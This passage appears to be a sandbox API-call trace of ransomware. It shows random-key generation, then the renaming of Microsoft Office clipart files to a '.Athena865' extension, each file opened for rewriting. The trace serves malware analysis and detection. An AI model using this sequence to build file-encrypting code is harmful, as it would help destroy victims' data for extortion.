szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.611] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.611] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.613] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.613] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.613] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.614] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00601_.WMF" | out: lpString1="HH00601_.WMF") returned="HH00601_.WMF" [0123.614] lstrlenW (lpString="HH00601_.WMF") returned 12 [0123.614] lstrlenW (lpString="Athena865") returned 9 [0123.614] lstrcmpiW (lpString1="0601_.WMF", lpString2="Athena865") returned -1 [0123.614] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.Athena865") returned 73 [0123.614] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.615] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1468) returned 1 [0123.615] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.616] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.616] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.618] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.619] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.619] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.619] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00602_.WMF" | out: lpString1="HH00602_.WMF") returned="HH00602_.WMF" [0123.619] lstrlenW (lpString="HH00602_.WMF") returned 12 [0123.619] lstrlenW (lpString="Athena865") returned 9 [0123.619] lstrcmpiW (lpString1="0602_.WMF", lpString2="Athena865") returned -1 [0123.620] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.Athena865") returned 73 [0123.620] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.621] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.621] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1400) returned 1 [0123.621] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.621] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.621] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.624] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.624] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.624] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.625] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00612_.WMF" | out: lpString1="HH00612_.WMF") returned="HH00612_.WMF" [0123.625] lstrlenW (lpString="HH00612_.WMF") returned 12 [0123.625] lstrlenW (lpString="Athena865") returned 9 [0123.625] lstrcmpiW (lpString1="0612_.WMF", lpString2="Athena865") returned -1 [0123.625] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.Athena865") returned 73 [0123.625] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.628] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.628] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=12632) returned 1 [0123.628] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.629] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.629] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.631] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.632] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.632] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.632] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00623_.WMF" | out: lpString1="HH00623_.WMF") returned="HH00623_.WMF" [0123.632] lstrlenW (lpString="HH00623_.WMF") returned 12 [0123.632] lstrlenW (lpString="Athena865") returned 9 [0123.633] lstrcmpiW (lpString1="0623_.WMF", lpString2="Athena865") returned -1 [0123.633] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.Athena865") returned 73 [0123.633] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.634] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=10644) returned 1 [0123.634] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0123.634] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0123.634] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.637] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0123.637] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0123.637] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0123.638] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00625_.WMF" | out: lpString1="HH00625_.WMF") returned="HH00625_.WMF" [0123.638] lstrlenW (lpString="HH00625_.WMF") returned 12 [0123.638] lstrlenW (lpString="Athena865") returned 9 [0123.638] lstrcmpiW (lpString1="0625_.WMF", lpString2="Athena865") returned -1 [0123.638] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.Athena865") returned 73 [0123.638] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.639] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2116) returned 1 [0123.643] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00636_.WMF" | out: lpString1="HH00636_.WMF") returned="HH00636_.WMF" [0123.644] lstrlenW (lpString="HH00636_.WMF") returned 12 [0123.644] lstrlenW (lpString="Athena865") returned 9 [0123.644] lstrcmpiW (lpString1="0636_.WMF", lpString2="Athena865") returned -1 [0123.644] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.Athena865") returned 73 [0123.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.645] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1568) returned 1 [0123.648] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00669_.WMF" | out: lpString1="HH00669_.WMF") returned="HH00669_.WMF" [0123.648] lstrlenW (lpString="HH00669_.WMF") returned 12 [0123.648] lstrlenW (lpString="Athena865") returned 9 [0123.648] lstrcmpiW (lpString1="0669_.WMF", lpString2="Athena865") returned -1 [0123.648] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.Athena865") returned 73 [0123.648] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00669_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.649] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=11490) returned 1 [0123.652] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00681_.WMF" | out: lpString1="HH00681_.WMF") returned="HH00681_.WMF" [0123.652] lstrlenW (lpString="HH00681_.WMF") returned 12 [0123.652] lstrlenW (lpString="Athena865") returned 9 [0123.652] lstrcmpiW (lpString1="0681_.WMF", lpString2="Athena865") returned -1 [0123.652] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.Athena865") returned 73 [0123.652] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00681_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.653] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9300) returned 1 [0123.656] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00685_.WMF" | out: lpString1="HH00685_.WMF") returned="HH00685_.WMF" [0123.656] lstrlenW (lpString="HH00685_.WMF") returned 12 [0123.656] lstrlenW (lpString="Athena865") returned 9 [0123.656] lstrcmpiW (lpString1="0685_.WMF", lpString2="Athena865") returned -1 [0123.656] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.Athena865") returned 73 [0123.656] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00685_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00685_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.658] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4032) returned 1 [0123.661] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00687_.WMF" | out: lpString1="HH00687_.WMF") returned="HH00687_.WMF" [0123.661] lstrlenW (lpString="HH00687_.WMF") returned 12 [0123.661] lstrlenW (lpString="Athena865") returned 9 [0123.661] lstrcmpiW (lpString1="0687_.WMF", lpString2="Athena865") returned -1 [0123.661] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.Athena865") returned 73 [0123.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00687_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00687_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.662] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=4340) returned 1 [0123.665] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00688_.WMF" | out: lpString1="HH00688_.WMF") returned="HH00688_.WMF" [0123.665] lstrlenW (lpString="HH00688_.WMF") returned 12 [0123.665] lstrlenW (lpString="Athena865") returned 9 [0123.665] lstrcmpiW (lpString1="0688_.WMF", lpString2="Athena865") returned -1 [0123.666] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.Athena865") returned 73 [0123.666] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00688_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00688_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.667] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7084) returned 1 [0123.669] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH00693_.WMF" | out: lpString1="HH00693_.WMF") returned="HH00693_.WMF" [0123.669] lstrlenW (lpString="HH00693_.WMF") returned 12 [0123.669] lstrlenW (lpString="Athena865") returned 9 [0123.670] lstrcmpiW (lpString1="0693_.WMF", lpString2="Athena865") returned -1 [0123.670] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.Athena865") returned 73 [0123.670] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.671] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.671] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=7098) returned 1 [0123.674] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01013_.WMF" | out: lpString1="HH01013_.WMF") returned="HH01013_.WMF" [0123.674] lstrlenW (lpString="HH01013_.WMF") returned 12 [0123.674] lstrlenW (lpString="Athena865") returned 9 [0123.674] lstrcmpiW (lpString1="1013_.WMF", lpString2="Athena865") returned -1 [0123.674] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.Athena865") returned 73 [0123.674] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.676] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01013_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01013_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.676] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2848) returned 1 [0123.678] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01015_.WMF" | out: lpString1="HH01015_.WMF") returned="HH01015_.WMF" [0123.678] lstrlenW (lpString="HH01015_.WMF") returned 12 [0123.678] lstrlenW (lpString="Athena865") returned 9 [0123.678] lstrcmpiW (lpString1="1015_.WMF", lpString2="Athena865") returned -1 [0123.678] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.Athena865") returned 73 [0123.678] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.680] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.680] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1148) returned 1 [0123.683] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01058_.WMF" | out: lpString1="HH01058_.WMF") returned="HH01058_.WMF" [0123.683] lstrlenW (lpString="HH01058_.WMF") returned 12 [0123.683] lstrlenW (lpString="Athena865") returned 9 [0123.683] lstrcmpiW (lpString1="1058_.WMF", lpString2="Athena865") returned -1 [0123.683] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.Athena865") returned 73 [0123.683] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.684] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.684] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2756) returned 1 [0123.686] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01065_.WMF" | out: lpString1="HH01065_.WMF") returned="HH01065_.WMF" [0123.686] lstrlenW (lpString="HH01065_.WMF") returned 12 [0123.686] lstrlenW (lpString="Athena865") returned 9 [0123.687] lstrcmpiW (lpString1="1065_.WMF", lpString2="Athena865") returned -1 [0123.687] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.Athena865") returned 73 [0123.687] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.athena865"), dwFlags=0x1) returned 1 [0123.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0123.688] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1268) returned 1 [0123.693] lstrcpyW (in: lpString1=0x241e8ae, lpString2="HH01080_.WMF" | out: lpString1="HH01080_.WMF") returned="HH01080_.WMF" [0123.693] lstrlenW (lpString="HH01080_.WMF") returned 12 [0123.693] lstrlenW (lpString="Athena865") returned 9 [0123.693] lstrcmpiW (lpString1="1080_.WMF", lpString2="Athena865") returned -1 [0123.693] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF.Athena865") returned 73 [0123.693] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01080_.WMF" (normalized: "c:\\program files\\microsoft 